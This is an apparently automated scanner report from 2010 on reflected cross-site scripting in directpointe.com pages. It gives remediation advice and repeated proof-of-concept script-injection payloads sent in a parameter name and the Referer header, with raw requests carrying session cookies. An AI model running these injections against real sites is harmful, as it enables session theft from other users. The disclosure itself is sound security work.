Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.directpointe.com/support/esupport_login.aspx [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.directpointe.com
Path:
/support/esupport_login.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc6ba"><script>alert(1)</script>9eb03b16144 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /support/esupport_login.aspx?dc6ba"><script>alert(1)</script>9eb03b16144=1 HTTP/1.1 Host: www.directpointe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; __utmz=217701123.1290271597.1.1.utmgclid=CPCVrMXsr6UCFVNb2godUGtIXA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; vkeywords=; s_sq=; __utma=217701123.1409149386.1290271597.1290271597.1290271597.1; velarosession=bs405bftbfjkfj55guiqnv45; velaroret5821=1; __utmc=217701123; __utmb=217701123.2.10.1290271597; ASP.NET_SessionId=tczsfa55n5sadr45wy0t5xqa; velaront1=yes;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:16:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 25395
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright .... 2000-2010 DirectPointe Inc. All rights reserved. All ...[SNIP]... <input type="hidden" name="errorURL" value="http://www.directpointe.com/support/esupport_login.aspx?dc6ba"><script>alert(1)</script>9eb03b16144=1" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24bbb"><script>alert(1)</script>061fe809956 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
HTTP/1.1 200 OK Date: Sat, 20 Nov 2010 17:16:08 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 30883
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright .... 2000-2010 DirectPointe Inc. All rights reserved. All ...[SNIP]... <input id="referring_url" name="00NA0000002yNLC" type="hidden" value="http://www.google.com/search?hl=en&q=24bbb"><script>alert(1)</script>061fe809956" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50263"><script>alert(1)</script>1d91c58b3ff was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /consultation.aspx HTTP/1.1 Host: www.directpointe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; __utmz=217701123.1290271597.1.1.utmgclid=CPCVrMXsr6UCFVNb2godUGtIXA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; vkeywords=; s_sq=; __utma=217701123.1409149386.1290271597.1290271597.1290271597.1; velarosession=bs405bftbfjkfj55guiqnv45; velaroret5821=1; __utmc=217701123; __utmb=217701123.2.10.1290271597; ASP.NET_SessionId=tczsfa55n5sadr45wy0t5xqa; velaront1=yes; Referer: http://www.google.com/search?hl=en&q=50263"><script>alert(1)</script>1d91c58b3ff
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:16:43 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 33982
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright .... 2000-2010 DirectPointe Inc. All rights reserved. All ...[SNIP]... <input id="referring_url" name="00NA0000002yNLC" type="hidden" value="http://www.google.com/search?hl=en&q=50263"><script>alert(1)</script>1d91c58b3ff" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31be5"><script>alert(1)</script>e07c7004476 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /landing_pages/states/california.aspx HTTP/1.1 Host: www.directpointe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; __utmz=217701123.1290271597.1.1.utmgclid=CPCVrMXsr6UCFVNb2godUGtIXA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; vkeywords=; s_sq=; __utma=217701123.1409149386.1290271597.1290271597.1290271597.1; velarosession=bs405bftbfjkfj55guiqnv45; velaroret5821=1; __utmc=217701123; __utmb=217701123.2.10.1290271597; ASP.NET_SessionId=tczsfa55n5sadr45wy0t5xqa; velaront1=yes; Referer: http://www.google.com/search?hl=en&q=31be5"><script>alert(1)</script>e07c7004476
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:16:05 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 11082
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><link href="../../App_T ...[SNIP]... <input id="referring_url" name="00NA0000002yNLC" type="hidden" value="http://www.google.com/search?hl=en&q=31be5"><script>alert(1)</script>e07c7004476" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 237bf"><script>alert(1)</script>340897b84e7 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /regional.aspx HTTP/1.1 Host: www.directpointe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; __utmz=217701123.1290271597.1.1.utmgclid=CPCVrMXsr6UCFVNb2godUGtIXA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; vkeywords=; s_sq=; __utma=217701123.1409149386.1290271597.1290271597.1290271597.1; velarosession=bs405bftbfjkfj55guiqnv45; velaroret5821=1; __utmc=217701123; __utmb=217701123.2.10.1290271597; ASP.NET_SessionId=tczsfa55n5sadr45wy0t5xqa; velaront1=yes; Referer: http://www.google.com/search?hl=en&q=237bf"><script>alert(1)</script>340897b84e7
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:16:53 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 31906
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright .... 2000-2010 DirectPointe Inc. All rights reserved. All ...[SNIP]... <input id="referring_url" name="00NA0000002yNLC" type="hidden" value="http://www.google.com/search?hl=en&q=237bf"><script>alert(1)</script>340897b84e7" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b07c"><script>alert(1)</script>721f7500c50 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /solutions/additional_services.aspx HTTP/1.1 Host: www.directpointe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; __utmz=217701123.1290271597.1.1.utmgclid=CPCVrMXsr6UCFVNb2godUGtIXA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; vkeywords=; s_sq=; __utma=217701123.1409149386.1290271597.1290271597.1290271597.1; velarosession=bs405bftbfjkfj55guiqnv45; velaroret5821=1; __utmc=217701123; __utmb=217701123.2.10.1290271597; ASP.NET_SessionId=tczsfa55n5sadr45wy0t5xqa; velaront1=yes; Referer: http://www.google.com/search?hl=en&q=5b07c"><script>alert(1)</script>721f7500c50
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:16:33 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 33356
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright .... 2000-2010 DirectPointe Inc. All rights reserved. All ...[SNIP]... <input id="referring_url" name="00NA0000002yNLC" type="hidden" value="http://www.google.com/search?hl=en&q=5b07c"><script>alert(1)</script>721f7500c50" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89c55"><script>alert(1)</script>00fa49d82d7 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /solutions/cloud_computing.aspx HTTP/1.1 Host: www.directpointe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; __utmz=217701123.1290271597.1.1.utmgclid=CPCVrMXsr6UCFVNb2godUGtIXA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; vkeywords=; s_sq=; __utma=217701123.1409149386.1290271597.1290271597.1290271597.1; velarosession=bs405bftbfjkfj55guiqnv45; velaroret5821=1; __utmc=217701123; __utmb=217701123.2.10.1290271597; ASP.NET_SessionId=tczsfa55n5sadr45wy0t5xqa; velaront1=yes; Referer: http://www.google.com/search?hl=en&q=89c55"><script>alert(1)</script>00fa49d82d7
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:16:18 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 28697
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright .... 2000-2010 DirectPointe Inc. All rights reserved. All ...[SNIP]... <input id="referring_url" name="00NA0000002yNLC" type="hidden" value="http://www.google.com/search?hl=en&q=89c55"><script>alert(1)</script>00fa49d82d7" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 30575"><script>alert(1)</script>625d9dfb404 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /solutions/faq.aspx HTTP/1.1 Host: www.directpointe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; __utmz=217701123.1290271597.1.1.utmgclid=CPCVrMXsr6UCFVNb2godUGtIXA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; vkeywords=; s_sq=; __utma=217701123.1409149386.1290271597.1290271597.1290271597.1; velarosession=bs405bftbfjkfj55guiqnv45; velaroret5821=1; __utmc=217701123; __utmb=217701123.2.10.1290271597; ASP.NET_SessionId=tczsfa55n5sadr45wy0t5xqa; velaront1=yes; Referer: http://www.google.com/search?hl=en&q=30575"><script>alert(1)</script>625d9dfb404
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:16:40 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 34173
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright .... 2000-2010 DirectPointe Inc. All rights reserved. All ...[SNIP]... <input id="referring_url" name="00NA0000002yNLC" type="hidden" value="http://www.google.com/search?hl=en&q=30575"><script>alert(1)</script>625d9dfb404" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 58913"><script>alert(1)</script>7a9d1e18438 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /solutions/index.aspx HTTP/1.1 Host: www.directpointe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; __utmz=217701123.1290271597.1.1.utmgclid=CPCVrMXsr6UCFVNb2godUGtIXA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; vkeywords=; s_sq=; __utma=217701123.1409149386.1290271597.1290271597.1290271597.1; velarosession=bs405bftbfjkfj55guiqnv45; velaroret5821=1; __utmc=217701123; __utmb=217701123.2.10.1290271597; ASP.NET_SessionId=tczsfa55n5sadr45wy0t5xqa; velaront1=yes; Referer: http://www.google.com/search?hl=en&q=58913"><script>alert(1)</script>7a9d1e18438
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:16:13 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 27786
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright .... 2000-2010 DirectPointe Inc. All rights reserved. All ...[SNIP]... <input id="referring_url" name="00NA0000002yNLC" type="hidden" value="http://www.google.com/search?hl=en&q=58913"><script>alert(1)</script>7a9d1e18438" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1a7a4"><script>alert(1)</script>d7c07aef017 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /solutions/industry_solutions.aspx HTTP/1.1 Host: www.directpointe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; __utmz=217701123.1290271597.1.1.utmgclid=CPCVrMXsr6UCFVNb2godUGtIXA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; vkeywords=; s_sq=; __utma=217701123.1409149386.1290271597.1290271597.1290271597.1; velarosession=bs405bftbfjkfj55guiqnv45; velaroret5821=1; __utmc=217701123; __utmb=217701123.2.10.1290271597; ASP.NET_SessionId=tczsfa55n5sadr45wy0t5xqa; velaront1=yes; Referer: http://www.google.com/search?hl=en&q=1a7a4"><script>alert(1)</script>d7c07aef017
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:16:33 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 29031
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright .... 2000-2010 DirectPointe Inc. All rights reserved. All ...[SNIP]... <input id="referring_url" name="00NA0000002yNLC" type="hidden" value="http://www.google.com/search?hl=en&q=1a7a4"><script>alert(1)</script>d7c07aef017" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81edd"><script>alert(1)</script>d90cba90a62 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /solutions/network_services.aspx HTTP/1.1 Host: www.directpointe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; __utmz=217701123.1290271597.1.1.utmgclid=CPCVrMXsr6UCFVNb2godUGtIXA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; vkeywords=; s_sq=; __utma=217701123.1409149386.1290271597.1290271597.1290271597.1; velarosession=bs405bftbfjkfj55guiqnv45; velaroret5821=1; __utmc=217701123; __utmb=217701123.2.10.1290271597; ASP.NET_SessionId=tczsfa55n5sadr45wy0t5xqa; velaront1=yes; Referer: http://www.google.com/search?hl=en&q=81edd"><script>alert(1)</script>d90cba90a62
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:16:18 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 34895
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright .... 2000-2010 DirectPointe Inc. All rights reserved. All ...[SNIP]... <input id="referring_url" name="00NA0000002yNLC" type="hidden" value="http://www.google.com/search?hl=en&q=81edd"><script>alert(1)</script>d90cba90a62" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 491b9"><script>alert(1)</script>b3e60a476d3 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /solutions/newsletter.aspx HTTP/1.1 Host: www.directpointe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; __utmz=217701123.1290271597.1.1.utmgclid=CPCVrMXsr6UCFVNb2godUGtIXA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; vkeywords=; s_sq=; __utma=217701123.1409149386.1290271597.1290271597.1290271597.1; velarosession=bs405bftbfjkfj55guiqnv45; velaroret5821=1; __utmc=217701123; __utmb=217701123.2.10.1290271597; ASP.NET_SessionId=tczsfa55n5sadr45wy0t5xqa; velaront1=yes; Referer: http://www.google.com/search?hl=en&q=491b9"><script>alert(1)</script>b3e60a476d3
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:16:43 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 39022
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright .... 2000-2010 DirectPointe Inc. All rights reserved. All ...[SNIP]... <input id="referring_url" name="00NA0000002yNLC" type="hidden" value="http://www.google.com/search?hl=en&q=491b9"><script>alert(1)</script>b3e60a476d3" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8832a"><script>alert(1)</script>0cd7a64e812 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /solutions/pc_services.aspx HTTP/1.1 Host: www.directpointe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; __utmz=217701123.1290271597.1.1.utmgclid=CPCVrMXsr6UCFVNb2godUGtIXA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; vkeywords=; s_sq=; __utma=217701123.1409149386.1290271597.1290271597.1290271597.1; velarosession=bs405bftbfjkfj55guiqnv45; velaroret5821=1; __utmc=217701123; __utmb=217701123.2.10.1290271597; ASP.NET_SessionId=tczsfa55n5sadr45wy0t5xqa; velaront1=yes; Referer: http://www.google.com/search?hl=en&q=8832a"><script>alert(1)</script>0cd7a64e812
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:16:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 36807
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright .... 2000-2010 DirectPointe Inc. All rights reserved. All ...[SNIP]... <input id="referring_url" name="00NA0000002yNLC" type="hidden" value="http://www.google.com/search?hl=en&q=8832a"><script>alert(1)</script>0cd7a64e812" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 692cd"><script>alert(1)</script>8b0e02254fa was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /solutions/print_services.aspx HTTP/1.1 Host: www.directpointe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; __utmz=217701123.1290271597.1.1.utmgclid=CPCVrMXsr6UCFVNb2godUGtIXA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; vkeywords=; s_sq=; __utma=217701123.1409149386.1290271597.1290271597.1290271597.1; velarosession=bs405bftbfjkfj55guiqnv45; velaroret5821=1; __utmc=217701123; __utmb=217701123.2.10.1290271597; ASP.NET_SessionId=tczsfa55n5sadr45wy0t5xqa; velaront1=yes; Referer: http://www.google.com/search?hl=en&q=692cd"><script>alert(1)</script>8b0e02254fa
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:16:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 29507
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright .... 2000-2010 DirectPointe Inc. All rights reserved. All ...[SNIP]... <input id="referring_url" name="00NA0000002yNLC" type="hidden" value="http://www.google.com/search?hl=en&q=692cd"><script>alert(1)</script>8b0e02254fa" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7bc59"><script>alert(1)</script>a8a958513fd was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
